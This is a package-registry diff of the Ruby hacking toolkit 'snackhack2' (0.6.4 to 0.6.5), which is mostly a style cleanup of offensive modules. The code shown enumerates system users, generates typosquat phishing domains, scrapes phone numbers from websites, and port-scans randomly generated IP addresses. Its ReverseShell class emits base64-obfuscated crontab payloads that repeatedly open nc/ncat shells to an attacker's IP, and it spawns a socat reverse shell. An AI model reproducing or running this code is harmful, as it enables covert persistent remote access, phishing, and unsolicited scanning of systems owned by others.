snackhack2 0.6.4 → 0.6.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,31 +1,34 @@
1
- module Snackhack2
2
- class ListUsers
3
- attr_accessor :user
4
-
5
- def initialize
6
- @user = user
7
- end
8
-
9
- def linux
10
- `cat /etc/passwd`.split("\n").each do |l|
11
- puts l.split(":")[0]
12
- end
13
- end
14
-
15
- def windows
16
- puts `net users`
17
- end
18
-
19
- def windows_search_user
20
- puts `net user #{@user}`
21
- end
22
- def auto
23
- os = RUBY_PLATFORM
24
- if os.match?("linux")
25
- linux
26
- elsif os.match?("mingw") or os.match?(/mswin|msys|mingw|cygwin|bccwin|wince|emc/)
27
- windows
28
- end
29
- end
30
- end
31
- end
1
+ # frozen_string_literal: true
2
+
3
+ module Snackhack2
4
+ class ListUsers
5
+ attr_accessor :user
6
+
7
+ def initialize(user)
8
+ @user = user
9
+ end
10
+
11
+ def linux
12
+ `cat /etc/passwd`.split("\n").each do |l|
13
+ puts l.split(':')[0]
14
+ end
15
+ end
16
+
17
+ def windows
18
+ puts `net users`
19
+ end
20
+
21
+ def windows_search_user
22
+ puts `net user #{@user}`
23
+ end
24
+
25
+ def auto
26
+ os = RUBY_PLATFORM
27
+ if os.match?('linux')
28
+ linux
29
+ elsif os.match?('mingw') || os.match?(/mswin|msys|mingw|cygwin|bccwin|wince|emc/)
30
+ windows
31
+ end
32
+ end
33
+ end
34
+ end
@@ -0,0 +1,197 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Snackhack2
4
+ class PhishingData
5
+ def domains
6
+ [
7
+ ".com",
8
+ ".co",
9
+ ".us",
10
+ ".net",
11
+ ".org",
12
+ ".help",
13
+ ".app",
14
+ ".blog",
15
+ ".info",
16
+ ".biz",
17
+ ".store",
18
+ ".shop",
19
+ ".tech",
20
+ ".tv",
21
+ ".photos",
22
+ ".fitness",
23
+ ".fun",
24
+ ".space",
25
+ ".solutions",
26
+ ".email",
27
+ ".studio",
28
+ ".top",
29
+ ".land",
30
+ ".live",
31
+ ".me",
32
+ ".website",
33
+ ".design",
34
+ ".digital",
35
+ ".world",
36
+ ".gifts",
37
+ ".love",
38
+ ".art",
39
+ ".holiday",
40
+ ".london",
41
+ ".tokyo",
42
+ ".tips",
43
+ ".rocks",
44
+ ".work"
45
+ ]
46
+ end
47
+ private :domains
48
+ end
49
+ class PhishingTlds < PhishingData
50
+ attr_reader :site
51
+ def initialize
52
+ @site = site
53
+ end
54
+ def domain_split
55
+ # This method splits up the value block_given
56
+ # given in @site by the period. Which is used
57
+ # by 'remove_tlds' method to remove the TLDs
58
+ @site.split(".")
59
+ end
60
+ def site=(s)
61
+ @site = s
62
+ end
63
+ def remove_tlds
64
+ # this method function is to remove
65
+ # the TLDs from the @site. For Example
66
+ # it will remove .org, .com
67
+
68
+ ds = domain_split
69
+
70
+ # remove ".com" (last element in array)
71
+ ds.pop
72
+
73
+ # returns the domain w/o the tlds
74
+ ds
75
+ end
76
+ def check_domains(array: true)
77
+ # The function of this method is to
78
+ # check if the given domains are valid or not.
79
+ # By valid I mean resolvable and active.
80
+
81
+
82
+ # if domains is set to true, this array will hold the domains
83
+ domains_out = []
84
+
85
+ # build the list of domains
86
+ generated_tlds = change_tld
87
+
88
+ valid_domains = []
89
+ not_valid_domains = []
90
+
91
+ generated_tlds.each do |domain|
92
+ # if array is true; add the domains to array
93
+ if array
94
+ domains_out << domain
95
+ else
96
+ # if array is false print out the domains
97
+ puts domain
98
+ end
99
+ domains_out if array
100
+ end
101
+ end
102
+ def remove_letters(array_out: true)
103
+ # This method will remove letters that
104
+ # occur more than once. For example:
105
+ # google.com would become goggle.com
106
+
107
+ # store the letter count in a hash.
108
+ letter_count = {}
109
+
110
+ ds = remove_tlds
111
+
112
+ # Creates an array with each character being
113
+ # stored in a element. It will loop through the array
114
+ # and figure out the number of occurrences for each character
115
+ ds.shift.split(//).each do |letter|
116
+ if letter_count.has_key?(letter)
117
+ letter_count[letter] += 1
118
+ else
119
+ letter_count[letter] = 1
120
+ end
121
+ end
122
+
123
+ # After it creates the hash with the character and
124
+ # the number of time it cocures. This method
125
+ # will loop through the hash and check to see
126
+ # if the value is greater than 1. If it is then the key ( the letter)
127
+ # is added to the array named 'letters_with_more_than_one'
128
+ letters_with_more_than_one = []
129
+ letter_count.each do |key, value|
130
+ if value > 1
131
+ letters_with_more_than_one << key
132
+ end
133
+ end
134
+
135
+
136
+ ds = remove_tlds
137
+ new_ds = ds.shift
138
+
139
+ # the final array with the duplicates letters removed
140
+ remove_lettters_out = []
141
+
142
+ # Loops through the 'letters_with_more_than_one'
143
+ # array and uses 'sub' to remove the occurence
144
+ # of one of the letters
145
+ letters_with_more_than_one.each do |l|
146
+ remove_lettters_out << new_ds.sub(l, "")
147
+ end
148
+
149
+ if array_out
150
+ remove_lettters_out
151
+ else
152
+ # will print the contents of the array
153
+ # instead of returning the array
154
+ remove_lettters_out.each { |a| puts a }
155
+ end
156
+ end
157
+ def change_tld(no_tld: true)
158
+ # This method will take the inputted site in @site and
159
+ # remove the TLDs and add a new TLDs to the domain.
160
+ # its uses the 'domain' method in the PhishingData class
161
+ # which has an array of a bunch of different tlds.
162
+
163
+
164
+ # if the @site does not have a tlds
165
+ if no_tld
166
+ new_domains = []
167
+ # loop through the tlds
168
+ domains.each do |d|
169
+ # combine the inputed @site
170
+ # and the tlds
171
+ new_domains << "#{@site}#{d}"
172
+ end
173
+ new_domains
174
+ else
175
+ # If the @site does have a TLDs.
176
+
177
+ # this is where the final results
178
+ # are stored.
179
+ list_of_domains = []
180
+
181
+ # removes .com, .org, etc
182
+ ds = remove_tlds
183
+
184
+ # join the elements together
185
+ ds = ds.join(".")
186
+
187
+ # loops through the tlds
188
+ domains.each do |tlds|
189
+ # adds the new domains to the array
190
+ list_of_domains << ds + tlds
191
+ end
192
+ list_of_domains
193
+ end
194
+ end
195
+ private :remove_tlds, :domain_split
196
+ end
197
+ end
@@ -1,56 +1,53 @@
1
- require 'httparty'
2
- require 'spidr'
3
- module Snackhack2
4
- class PhoneNumber
5
- attr_accessor :save_file, :site
6
-
7
- def initialize(save_file: true)
8
- @site = site
9
- @save_file = save_file
10
- end
11
-
12
- def save_file
13
- @save_file
14
- end
15
-
16
- def run
17
- numbers = []
18
- http = Snackhack2::get(@site)
19
- if http.code == 200
20
- regex = http.body
21
- phone = regex.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
22
- out = phone.map { |n| n[0] }.compact
23
- numbers << out
24
- else
25
- puts "[+] Status code: #{http.code}"
26
- end
27
- if !numbers.empty?
28
- if @save_file
29
- hostname = URI.parse(@site).host
30
- Snackhack2::file_save(@site, "phone_numbers", numbers.join("\n"))
31
- end
32
- end
33
- end
34
-
35
- def spider
36
- phone_numbers = []
37
- Spidr.start_at(@site, max_depth: 4) do |agent|
38
- agent.every_page do |page|
39
- body = page.to_s
40
- if body.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
41
- pn = body.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)[0]
42
- if !pn.nil?
43
- pn = pn.compact.select { |i| !i.to_s.nil? }.shift
44
- if !phone_numbers.include?(pn.to_s)
45
- phone_numbers << pn
46
- end
47
- end
48
- end
49
- end
50
- end
51
- if !phone_numbers.empty?
52
- Snackhack2::file_save(@site, "phonenumbers", phone_numbers.join("\n")) if @save_file
53
- end
54
- end
55
- end
56
- end
1
+ # frozen_string_literal: true
2
+
3
+ require 'httparty'
4
+ require 'spidr'
5
+ module Snackhack2
6
+ class PhoneNumber
7
+ attr_accessor :save_file, :site
8
+
9
+ def initialize(save_file: true)
10
+ @site = site
11
+ @save_file = save_file
12
+ end
13
+
14
+ attr_reader :save_file
15
+
16
+ def run
17
+ numbers = []
18
+ http = Snackhack2.get(@site)
19
+ if http.code == 200
20
+ regex = http.body
21
+ phone = regex.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
22
+ out = phone.map { |n| n[0] }.compact
23
+ numbers << out
24
+ else
25
+ puts "\n\n[+] Status code: #{http.code}"
26
+ end
27
+ return if numbers.empty?
28
+ return unless @save_file
29
+
30
+ URI.parse(@site).host
31
+ Snackhack2.file_save(@site, 'phone_numbers', numbers.join("\n"))
32
+ end
33
+
34
+ def spider
35
+ phone_numbers = []
36
+ Spidr.start_at(@site, max_depth: 4) do |agent|
37
+ agent.every_page do |page|
38
+ body = page.to_s
39
+ if body.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
40
+ pn = body.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)[0]
41
+ unless pn.nil?
42
+ pn = pn.compact.reject { |i| i.to_s.nil? }.shift
43
+ phone_numbers << pn unless phone_numbers.include?(pn.to_s)
44
+ end
45
+ end
46
+ end
47
+ end
48
+ return if phone_numbers.empty?
49
+
50
+ Snackhack2.file_save(@site, 'phonenumbers', phone_numbers.join("\n")) if @save_file
51
+ end
52
+ end
53
+ end
@@ -1,73 +1,72 @@
1
- # frozen_string_literal: true
2
-
3
- module Snackhack2
4
- class PortScan
5
- attr_accessor :display, :ip, :delete, :count
6
-
7
- def initialize(display: true, delete: false, count: 10)
8
- @ip = ip
9
- @display = display
10
- @delete = delete
11
- @count = count
12
- end
13
-
14
- def run
15
- threads = []
16
- ports = [*1..1000]
17
- ports.each { |i| threads << Thread.new { tcp(i) } }
18
- threads.each(&:join)
19
- end
20
-
21
- def mass_scan
22
- generate_ips.each do |ips|
23
- tcp = PortScan.new
24
- tcp.ip = ips
25
- tcp.run
26
- end
27
- end
28
-
29
- def generate_ips
30
- ips = []
31
- @count.to_i.times do |c|
32
- ips << Array.new(4) { rand(256) }.join('.')
33
- end
34
- ips
35
- end
36
-
37
- def ports_extractor(port)
38
- ip = []
39
- files = Dir['*_port_scan.txt']
40
- files.each do |f|
41
- r = File.read(f)
42
- if r.include?(port)
43
- ip << f.split("_")[0]
44
- end
45
- File.delete(f) if delete
46
- end
47
- File.open("#{port}_scan.txt", 'w+') { |file| file.write(ip.join("\n")) }
48
- end
49
-
50
- def tcp(i)
51
- ip = @ip
52
- open_ports = []
53
- begin
54
- Timeout.timeout(1) do
55
- s = TCPSocket.new(@ip, i)
56
- s.close
57
- open_ports << i
58
- rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH, Errno::ENETUNREACH
59
- return false
60
- end
61
- rescue Timeout::Error
62
- end
63
- return if open_ports.empty?
64
-
65
- if @display
66
- open_ports.each do |port|
67
- puts "#{ip} - #{port} is open\n"
68
- end
69
- end
70
- File.open("#{ip}_port_scan.txt", 'a') { |file| file.write(open_ports.shift.to_s + "\n") }
71
- end
72
- end
73
- end
1
+ # frozen_string_literal: true
2
+
3
+ module Snackhack2
4
+ class PortScan
5
+ attr_accessor :display, :ip, :delete, :count
6
+
7
+ def initialize(display: true, delete: false, count: 10, terminal_output: false)
8
+ @ip = ip
9
+ @display = display
10
+ @delete = delete
11
+ @count = count
12
+ @terminal_output = terminal_output
13
+ end
14
+
15
+ def run
16
+ threads = []
17
+ ports = [*1..1000]
18
+ ports.each { |i| threads << Thread.new { tcp(i) } }
19
+ threads.each(&:join)
20
+ end
21
+
22
+ def mass_scan
23
+ generate_ips.each do |ips|
24
+ tcp = PortScan.new
25
+ tcp.ip = ips
26
+ tcp.run
27
+ end
28
+ end
29
+
30
+ def generate_ips
31
+ ips = []
32
+ @count.to_i.times do |_c|
33
+ ips << Array.new(4) { rand(256) }.join('.')
34
+ end
35
+ ips
36
+ end
37
+
38
+ def ports_extractor(port)
39
+ ip = []
40
+ files = Dir['*_port_scan.txt']
41
+ files.each do |f|
42
+ r = File.read(f)
43
+ ip << f.split('_')[0] if r.include?(port)
44
+ File.delete(f) if delete
45
+ end
46
+ File.open("#{port}_scan.txt", 'w+') { |file| file.write(ip.join("\n")) }
47
+ end
48
+
49
+ def tcp(i)
50
+ ip = @ip
51
+ open_ports = []
52
+ begin
53
+ Timeout.timeout(1) do
54
+ s = TCPSocket.new(@ip, i)
55
+ s.close
56
+ open_ports << i
57
+ rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH, Errno::ENETUNREACH
58
+ return false
59
+ end
60
+ rescue Timeout::Error
61
+ end
62
+ return if open_ports.empty?
63
+
64
+ return unless @display
65
+
66
+ open_ports.each do |port|
67
+ puts "#{ip} - #{port} is open\n"
68
+ end
69
+ File.open("#{ip}_port_scan.txt", 'a') { |file| file.write("#{open_ports.shift}\n") }
70
+ end
71
+ end
72
+ end
@@ -1,31 +1,32 @@
1
- require 'base64'
2
- module Snackhack2
3
- class ReverseShell
4
- attr_accessor :ip, :port
5
- def initialize
6
- @ip = ip
7
- @port = port
8
- end
9
-
10
- def run
11
- c = %Q{#!/bin/bash
12
- line="* * * * * nc -e /bin/sh #{@ip} #{@port}"
13
- (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
14
- puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
15
- end
16
-
17
- def version2
18
- c = %Q{#!/bin/bash
19
- line="* * * * * ncat #{@ip} #{@port} -e /bin/bash"
20
- (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
21
- puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
22
- end
23
-
24
- def bash
25
- c = %Q{
26
- bash.exe -c "socat tcp-connect:#{@ip}:#{@port} exec:sh,pty,stderr,setsid,sigint,sane"
27
- }
28
- Process.spawn(c)
29
- end
30
- end
31
- end
1
+ # frozen_string_literal: true
2
+
3
+ require 'base64'
4
+ module Snackhack2
5
+ class ReverseShell
6
+ attr_accessor :ip, :port
7
+
8
+ def initialize()
9
+ @ip = ip
10
+ @port = port
11
+ end
12
+
13
+ def nc
14
+ c = %{#!/bin/bash
15
+ line="* * * * * nc -e /bin/sh #{@ip} #{@port}"
16
+ (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
17
+ puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
18
+ end
19
+
20
+ def ncat
21
+ c = %{#!/bin/bash
22
+ line="* * * * * ncat #{@ip} #{@port} -e /bin/bash"
23
+ (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
24
+ puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
25
+ end
26
+
27
+ def bash
28
+ c = %(bash.exe -c "socat tcp-connect:#{@ip}:#{@port} exec:sh,pty,stderr,setsid,sigint,sane")
29
+ Process.spawn(c)
30
+ end
31
+ end
32
+ end